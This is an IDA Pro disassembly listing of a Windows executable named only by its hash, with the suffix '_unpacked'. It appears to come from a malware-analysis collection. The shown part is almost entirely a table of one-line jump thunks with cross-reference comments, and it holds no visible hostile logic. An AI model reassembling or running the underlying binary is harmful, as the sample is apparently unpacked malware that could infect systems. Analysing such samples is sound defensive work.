;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : EB35E11DD35F0D46A614D5C2F4D74792
; File Name : u:\work\eb35e11dd35f0d46a614d5c2f4d74792_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00112000 (1122304.)
; Section size in file : 00112000 (1122304.)
; Offset to raw data for section: 00001000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
___ segment para public 'CODE' use32
assume cs:___
;org 401000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
db 5 dup(0CCh)
; ---------------------------------------------------------------------------
jmp loc_430920
; ---------------------------------------------------------------------------
loc_40100A: ; DATA XREF: ___:off_43F09Co
jmp loc_412D80
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40100F proc near ; CODE XREF: sub_421BF0+29p
jmp sub_422150
sub_40100F endp
; ---------------------------------------------------------------------------
jmp loc_432540
; ---------------------------------------------------------------------------
jmp loc_420EA0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40101E proc near ; CODE XREF: ___:004119B3p
jmp sub_4119E0
sub_40101E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401023 proc near ; CODE XREF: ___:0040B29Dp
; ___:0040B2AAp ...
jmp sub_403C50
sub_401023 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401028 proc near ; CODE XREF: sub_41FB90+34p
jmp sub_40B0E0
sub_401028 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40102D proc near ; CODE XREF: sub_404CC0+616p
; sub_404CC0+6D5p ...
jmp sub_40A110
sub_40102D endp
; ---------------------------------------------------------------------------
jmp sub_42B3F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401037 proc near ; CODE XREF: sub_4135E0+3Bp
; ___:00414C00p
jmp sub_4156D0
sub_401037 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40103C proc near ; CODE XREF: sub_430B30+6Ep
; sub_430B30+8Ap ...
jmp sub_4342D0
sub_40103C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401041 proc near ; CODE XREF: ___:00430212p
; sub_430B30+3Fp ...
jmp sub_434150
sub_401041 endp
; ---------------------------------------------------------------------------
jmp loc_423A40
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40104B proc near
jmp sub_40D210
sub_40104B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401050 proc near ; CODE XREF: sub_40B0E0+3Ap
; sub_40B150+1Ap
jmp sub_433C70
sub_401050 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401055 proc near ; CODE XREF: sub_41E760+37Bp
jmp sub_421D30
sub_401055 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40105A proc near ; CODE XREF: sub_40C1A0+8p
jmp sub_40C360
sub_40105A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40105F proc near ; CODE XREF: sub_432BF0+5Ap
; sub_434A00+50p
jmp sub_432BB0
sub_40105F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401064 proc near ; DATA XREF: ___:off_43F07Co
jmp sub_41C710
sub_401064 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401069 proc near ; CODE XREF: ___:00416FAAp
jmp sub_41FCD0
sub_401069 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40106E proc near ; CODE XREF: sub_40C040+32p
jmp sub_40C200
sub_40106E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401073 proc near ; CODE XREF: ___:00416FBAp
jmp sub_418390
sub_401073 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401078 proc near ; CODE XREF: sub_415920+6Ap
; sub_416380+32p
jmp sub_4162C0
sub_401078 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40107D proc near ; CODE XREF: sub_41E760+161p
; sub_4224E0+3p
jmp sub_421B50
sub_40107D endp
; ---------------------------------------------------------------------------
jmp loc_41ADE0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40108C proc near ; CODE XREF: sub_421D30+3p
; ___:004220FFp ...
jmp sub_422270
sub_40108C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401091 proc near ; CODE XREF: sub_40C4E0+43p
jmp sub_40CBB0
sub_401091 endp
; ---------------------------------------------------------------------------
jmp sub_4292E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40109B proc near ; CODE XREF: sub_4075C0+Ap
jmp sub_407660
sub_40109B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010A0 proc near ; CODE XREF: sub_4246D0+23p
; sub_424870+6p ...
jmp sub_4245E0
sub_4010A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010A5 proc near ; CODE XREF: sub_431EF0+F5p
; sub_431EF0+14Fp
jmp sub_4340E0
sub_4010A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010AA proc near ; CODE XREF: sub_4344C0+C8p
jmp sub_431C80
sub_4010AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010AF proc near ; DATA XREF: ___:0043F174o
jmp sub_42B0B0
sub_4010AF endp
; ---------------------------------------------------------------------------
loc_4010B4: ; DATA XREF: ___:off_43F0A0o
jmp loc_41E3C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010B9 proc near ; CODE XREF: sub_418430+D0p
; sub_418590+2Dp
jmp sub_418B20
sub_4010B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010BE proc near ; CODE XREF: sub_410030+8D9p
; sub_410030+990p ...
jmp sub_411930
sub_4010BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010C3 proc near ; CODE XREF: ___:00430626p
; ___:00430694p ...
jmp sub_4321F0
sub_4010C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010C8 proc near ; CODE XREF: sub_421E50+9p
; sub_422340+18p
jmp sub_4224C0
sub_4010C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010CD proc near ; CODE XREF: sub_40AAD0+58p
; sub_40AAD0+82p ...
jmp sub_40ACC0
sub_4010CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010D2 proc near ; CODE XREF: sub_422B40+3F1p
; ___:00423BA6p ...
jmp sub_419BE0
sub_4010D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4010D7 proc near ; CODE XREF: sub_416110+7p
jmp sub_416740
sub_4010D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010DC proc near ; CODE XREF: sub_415600+5Bp
; sub_415F70+11p ...
jmp sub_4161C0
sub_4010DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010E1 proc near ; CODE XREF: sub_42AF20+58p
jmp sub_42AD90
sub_4010E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4010E6 proc near ; CODE XREF: sub_421970+1Fp
jmp sub_421DB0
sub_4010E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010EB proc near ; CODE XREF: sub_4220B0+11p
; ___:004220D7p ...
jmp sub_4225D0
sub_4010EB endp
; ---------------------------------------------------------------------------
jmp loc_413E30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010F5 proc near ; CODE XREF: sub_421B30+3p
; ___:00421E9Fp ...
jmp sub_422010
sub_4010F5 endp
; ---------------------------------------------------------------------------
jmp loc_4144D0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010FF proc near ; CODE XREF: sub_428210+3p
jmp sub_428240
sub_4010FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401104 proc near ; CODE XREF: sub_415B00+11p
; ___:00415B27p ...
jmp sub_416570
sub_401104 endp
; ---------------------------------------------------------------------------
jmp loc_434600
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40110E proc near ; CODE XREF: sub_421C60+5p
; sub_421D50+6p ...
jmp sub_422250
sub_40110E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401113 proc near ; CODE XREF: ___:00416B5Bp
; ___:0043B25Ej ...
jmp sub_417B60
sub_401113 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401118 proc near ; CODE XREF: sub_404CC0+6Ap
; sub_404CC0+1AFp ...
jmp sub_412A40
sub_401118 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40111D proc near ; DATA XREF: ___:off_43F074o
jmp sub_4193C0
sub_40111D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401122 proc near ; CODE XREF: sub_432D10+6p
; ___:00432D23p ...
jmp sub_430770
sub_401122 endp
; ---------------------------------------------------------------------------
jmp loc_42F6C0
; ---------------------------------------------------------------------------
loc_40112C: ; DATA XREF: ___:off_43F15Co
jmp loc_42AD20
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401131 proc near ; CODE XREF: ___:00423D9Dp
jmp sub_423860
sub_401131 endp
; ---------------------------------------------------------------------------
jmp loc_433240
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40113B proc near ; CODE XREF: ___:00415178p
jmp sub_415A90
sub_40113B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401140 proc near ; CODE XREF: sub_41BA50+F7p
; sub_41BA50+10Bp ...
jmp sub_409F80
sub_401140 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401145 proc near ; CODE XREF: sub_4099F0+Ap
jmp sub_409AE0
sub_401145 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40114A proc near ; CODE XREF: sub_4134A0+55p
; sub_4134A0+94p ...
jmp sub_415860
sub_40114A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40114F proc near ; CODE XREF: sub_425100+18Cp
; ___:00425F7Dp
jmp sub_4236F0
sub_40114F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401154 proc near ; CODE XREF: ___:00414C8Ep
jmp sub_415600
sub_401154 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401159 proc near ; CODE XREF: sub_4288F0+3p
jmp sub_428920
sub_401159 endp
; ---------------------------------------------------------------------------
loc_40115E: ; DATA XREF: ___:off_43F038o
jmp loc_4119B0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401163 proc near ; CODE XREF: sub_415ED0+11p
; ___:00415EF7p ...
jmp sub_4166F0
sub_401163 endp
; ---------------------------------------------------------------------------
jmp loc_41D830
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40116D proc near ; CODE XREF: sub_418C10+23p
; sub_418E80+11p
jmp sub_418F60
sub_40116D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401172 proc near ; CODE XREF: sub_418B90+3p
; sub_418F90+54p ...
jmp sub_418DE0
sub_401172 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401177 proc near ; CODE XREF: sub_4096E0+6Ap
; sub_4096E0+103p
jmp sub_409980
sub_401177 endp
; ---------------------------------------------------------------------------
jmp loc_433B30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401181 proc near ; CODE XREF: ___:00413E4Dp
jmp sub_413C40
sub_401181 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401186 proc near ; CODE XREF: ___:0041A2E4p
jmp sub_41B0E0
sub_401186 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40118B proc near ; CODE XREF: sub_4134A0+88p
; sub_4148A0+BFp ...
jmp sub_415A30
sub_40118B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401190 proc near ; CODE XREF: sub_430770+7p
; sub_4307E0+19p ...
jmp sub_434BA0
sub_401190 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401195 proc near
jmp sub_40DBF0
sub_401195 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40119A proc near ; CODE XREF: ___:0043239Ap
jmp sub_431D40
sub_40119A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40119F proc near ; CODE XREF: sub_407230+11p
; sub_4073C0+1Fp
jmp sub_407460
sub_40119F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011A4 proc near ; CODE XREF: sub_403720+3B5p
; sub_403720+3C5p ...
jmp sub_403E50
sub_4011A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011A9 proc near ; CODE XREF: sub_421D10+3p
jmp sub_422290
sub_4011A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011AE proc near ; CODE XREF: sub_40C330+Ap
jmp sub_40C3F0
sub_4011AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011B3 proc near ; CODE XREF: sub_403720+1Dp
; sub_407080+1Fp ...
jmp sub_403CC0
sub_4011B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011B8 proc near ; CODE XREF: ___:00413344p
; ___:0043AC8Cj ...
jmp sub_415490
sub_4011B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011BD proc near ; CODE XREF: sub_42C640+3p
jmp sub_42C670
sub_4011BD endp
; ---------------------------------------------------------------------------
jmp loc_40AFE0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011C7 proc near ; CODE XREF: ___:00414C9Dp
jmp sub_414D40
sub_4011C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011CC proc near ; CODE XREF: sub_407660+7p
; sub_409AE0+7p ...
jmp sub_407690
sub_4011CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011D1 proc near ; CODE XREF: sub_4135E0+73p
; ___:00414C3Dp ...
jmp sub_4156F0
sub_4011D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011D6 proc near ; CODE XREF: sub_41E760+58p
jmp sub_420630
sub_4011D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011DB proc near ; CODE XREF: sub_413E70+84p
jmp sub_4138B0
sub_4011DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011E0 proc near ; CODE XREF: ___:00433718p
jmp sub_431060
sub_4011E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011E5 proc near ; CODE XREF: sub_407510+8p
jmp sub_4075F0
sub_4011E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011EA proc near ; CODE XREF: sub_404CC0+9Fp
; sub_404CC0+230p ...
jmp sub_40A510
sub_4011EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011EF proc near ; CODE XREF: sub_40A870+21p
; sub_40AAD0+A5p
jmp sub_40AAB0
sub_4011EF endp
; ---------------------------------------------------------------------------
jmp loc_40B050
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011F9 proc near ; CODE XREF: sub_40A510+129p
; sub_40A8F0+4p ...
jmp sub_40A8C0
sub_4011F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011FE proc near ; DATA XREF: ___:off_43F0DCo
jmp sub_427940
sub_4011FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401203 proc near ; CODE XREF: ___:004335ADp
jmp sub_430D60
sub_401203 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401208 proc near ; CODE XREF: sub_407340+3p
; ___:0040740Fp ...
jmp sub_4074D0
sub_401208 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40120D proc near ; CODE XREF: sub_41D930+346p
; sub_41D930+410p ...
jmp sub_421970
sub_40120D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401212 proc near ; CODE XREF: sub_421BB0+11p
; sub_4220B0+1Fp
jmp sub_4221E0
sub_401212 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401217 proc near ; CODE XREF: sub_42C7E0+3p
jmp sub_42C810
sub_401217 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40121C proc near
jmp sub_4077E0
sub_40121C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401221 proc near ; CODE XREF: sub_40C200+5Fp
jmp sub_40C3D0
sub_401221 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401226 proc near ; CODE XREF: sub_403530+F6p
; sub_403530+12Ep ...
jmp sub_409D10
sub_401226 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40122B proc near ; CODE XREF: sub_41E760+113p
; sub_41E760+124p
jmp sub_421B30
sub_40122B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401230 proc near ; DATA XREF: ___:0043F060o
jmp sub_41F960
sub_401230 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401235 proc near ; CODE XREF: ___:00416BFBp
; ___:0043B1D2j ...
jmp sub_4177B0
sub_401235 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40123A proc near ; CODE XREF: sub_40AFA0+Fp
jmp sub_431240
sub_40123A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40123F proc near ; CODE XREF: sub_418C10+32p
jmp sub_418E80
sub_40123F endp
; ---------------------------------------------------------------------------
jmp loc_434860
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401249 proc near ; CODE XREF: sub_415500+5p
; sub_415710+6p ...
jmp sub_416130
sub_401249 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40124E proc near ; CODE XREF: sub_40BD90+29p
; sub_40BEB0+29p
jmp sub_40C040
sub_40124E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401253 proc near ; CODE XREF: sub_41E760+3E9p
; ___:0043C4ABj
jmp sub_421BF0
sub_401253 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401258 proc near ; CODE XREF: sub_4145A0+BFp
jmp sub_4152E0
sub_401258 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40125D proc near ; CODE XREF: sub_4165E0+Ap
jmp sub_416920
sub_40125D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401262 proc near ; CODE XREF: ___:00416C67p
; ___:0043B173j ...
jmp sub_4170B0
sub_401262 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401267 proc near
jmp sub_418430
sub_401267 endp
; ---------------------------------------------------------------------------
jmp sub_416D30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401271 proc near ; CODE XREF: ___:00416F1Fp
jmp sub_4180D0
sub_401271 endp
; ---------------------------------------------------------------------------
jmp loc_414760
; ---------------------------------------------------------------------------
jmp loc_430320
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401280 proc near ; CODE XREF: sub_410030+387p
; sub_41F030+21Dp ...
jmp sub_41B7E0
sub_401280 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401285 proc near ; CODE XREF: ___:00416F5Ap
jmp sub_418280
sub_401285 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40128A proc near ; CODE XREF: sub_409570+8p
jmp sub_4095C0
sub_40128A endp
; ---------------------------------------------------------------------------
jmp loc_42AD20
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401294 proc near ; CODE XREF: sub_4096E0+A5p
; sub_412C90+21p
jmp sub_4098F0
sub_401294 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401299 proc near ; CODE XREF: sub_404CC0+382p
; sub_41D930+5AAp
jmp sub_41C130
sub_401299 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40129E proc near ; CODE XREF: ___:00416E6Fp
jmp sub_403720
sub_40129E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012A3 proc near ; CODE XREF: sub_418CC0+23p
; sub_418F90+11p
jmp sub_4190E0
sub_4012A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012A8 proc near ; CODE XREF: sub_424920+Cp
; sub_424920+3Ep ...
jmp sub_424410
sub_4012A8 endp
; ---------------------------------------------------------------------------
jmp loc_430960
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012B2 proc near ; CODE XREF: sub_404CC0+85Ap
; sub_404CC0+AD6p ...
jmp sub_40A370
sub_4012B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012B7 proc near ; CODE XREF: ___:0042FE06p
; ___:0042FE56p ...
jmp sub_432780
sub_4012B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012BC proc near ; CODE XREF: sub_41E760+367p
; sub_41E760+3D4p ...
jmp sub_421D80
sub_4012BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012C1 proc near ; DATA XREF: sub_427D50+107o
jmp sub_427FD0
sub_4012C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012C6 proc near ; CODE XREF: sub_424800+18p
; sub_424840+Ap ...
jmp sub_4247B0
sub_4012C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012CB proc near ; CODE XREF: sub_416220+9p
; sub_4162C0+18p
jmp sub_4168D0
sub_4012CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012D0 proc near ; DATA XREF: sub_432570+32o
jmp sub_432D70
sub_4012D0 endp
; ---------------------------------------------------------------------------
jmp loc_42FE50
; ---------------------------------------------------------------------------
jmp loc_419CB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012DF proc near ; CODE XREF: sub_42AD90+67p
jmp sub_41FFF0
sub_4012DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4012E4 proc near ; CODE XREF: ___:004301E8p
; sub_4303A0+2p ...
jmp sub_431560
sub_4012E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012E9 proc near ; CODE XREF: sub_413740+3Fp
; sub_4145A0+40p ...
jmp sub_415230
sub_4012E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012EE proc near ; CODE XREF: sub_404690+19Fp
; sub_404690+212p ...
jmp sub_409FD0
sub_4012EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012F3 proc near ; CODE XREF: sub_424F70+B5p
; sub_424F70+F1p
jmp sub_424F00
sub_4012F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012F8 proc near ; CODE XREF: sub_425100+130p
jmp sub_424F70
sub_4012F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012FD proc near ; CODE XREF: ___:00416F3Ap
jmp sub_418180
sub_4012FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401302 proc near ; CODE XREF: ___:00416F0Fp
jmp sub_418010
sub_401302 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401307 proc near ; CODE XREF: sub_4316C0+1p
jmp sub_431750
sub_401307 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40130C proc near ; CODE XREF: ___:00427201p
jmp sub_427740
sub_40130C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401311 proc near ; CODE XREF: sub_418430+71p
; sub_418430+BBp ...
jmp sub_418AF0
sub_401311 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401316 proc near ; CODE XREF: sub_40A180+7p
jmp sub_40A1A0
sub_401316 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40131B proc near ; CODE XREF: ___:004329C8p
; sub_432A20+2Bp
jmp sub_432BF0
sub_40131B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401320 proc near ; CODE XREF: sub_432570+1p
jmp sub_4327B0
sub_401320 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401325 proc near ; CODE XREF: sub_4208E0+37Bp
jmp sub_421CD0
sub_401325 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40132A proc near ; CODE XREF: sub_414430+5Bp
jmp sub_415100
sub_40132A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40132F proc near ; CODE XREF: sub_415490+29p
; sub_4155B0+29p
jmp sub_416030
sub_40132F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401334 proc near ; CODE XREF: ___:00437232p
; ___:00437242p ...
jmp sub_4370F0
sub_401334 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401339 proc near ; CODE XREF: sub_4134A0+5Fp
; sub_4134A0+9Ep ...
jmp sub_415A60
sub_401339 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40133E proc near ; CODE XREF: sub_40B600+62p
; ___:0040BAC8p ...
jmp sub_40BF40
sub_40133E endp
; ---------------------------------------------------------------------------
jmp loc_4313B0
; ---------------------------------------------------------------------------
jmp loc_42FF30
; ---------------------------------------------------------------------------
loc_40134D: ; DATA XREF: ___:0043F1A8o
jmp loc_42C690
; ---------------------------------------------------------------------------
jmp loc_42C5D0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401357 proc near ; CODE XREF: sub_416190+8p
jmp sub_4167B0
sub_401357 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40135C proc near ; CODE XREF: sub_4134A0+71p
; sub_4134A0:loc_41356Cp ...
jmp sub_415A10
sub_40135C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401361 proc near ; CODE XREF: sub_418430+AFp
; sub_4190E0+3p
jmp sub_418BB0
sub_401361 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401366 proc near ; DATA XREF: ___:0043F104o
jmp sub_427D50
sub_401366 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40136B proc near ; CODE XREF: sub_40B600+39p
; sub_40B600+78p ...
jmp sub_40BF70
sub_40136B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401370 proc near ; CODE XREF: sub_426A90+29p
; sub_426A90+38p
jmp sub_4269A0
sub_401370 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401375 proc near ; CODE XREF: sub_41A600+1Cp
jmp sub_41A640
sub_401375 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40137A proc near ; DATA XREF: ___:0043F164o
jmp sub_42AF20
sub_40137A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40137F proc near ; CODE XREF: ___:00408C9Ap
; ___:00414551p
jmp sub_414300
sub_40137F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401384 proc near ; CODE XREF: sub_418590+72p
jmp sub_406C80
sub_401384 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401389 proc near ; CODE XREF: sub_409E00+7p
; sub_409F50+7p ...
jmp sub_40A7E0
sub_401389 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40138E proc near ; DATA XREF: ___:off_43F080o
jmp sub_422B40
sub_40138E endp
; ---------------------------------------------------------------------------
jmp loc_413BB0
; ---------------------------------------------------------------------------
jmp sub_42C640
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40139D proc near ; CODE XREF: sub_418A00+11p
; sub_421DB0+1Fp
jmp sub_418D50
sub_40139D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C5C0
loc_4013A2: ; CODE XREF: sub_42C5C0+3j
jmp sub_42BB00
; END OF FUNCTION CHUNK FOR sub_42C5C0
; ---------------------------------------------------------------------------
jmp sub_42C7E0
; ---------------------------------------------------------------------------
jmp loc_42FEA0
; ---------------------------------------------------------------------------
jmp loc_414B30
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4013B6 proc near ; CODE XREF: sub_4072E0+1Fp
jmp sub_4073C0
sub_4013B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013BB proc near ; CODE XREF: sub_4257F0+47Fp
jmp sub_4253C0
sub_4013BB endp
; ---------------------------------------------------------------------------
jmp loc_42FAA0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4013C5 proc near ; CODE XREF: sub_40FE40+3p
; ___:00416BEBp ...
jmp sub_40FE70
sub_4013C5 endp
; =============== S U B R O U T I N E =======================================
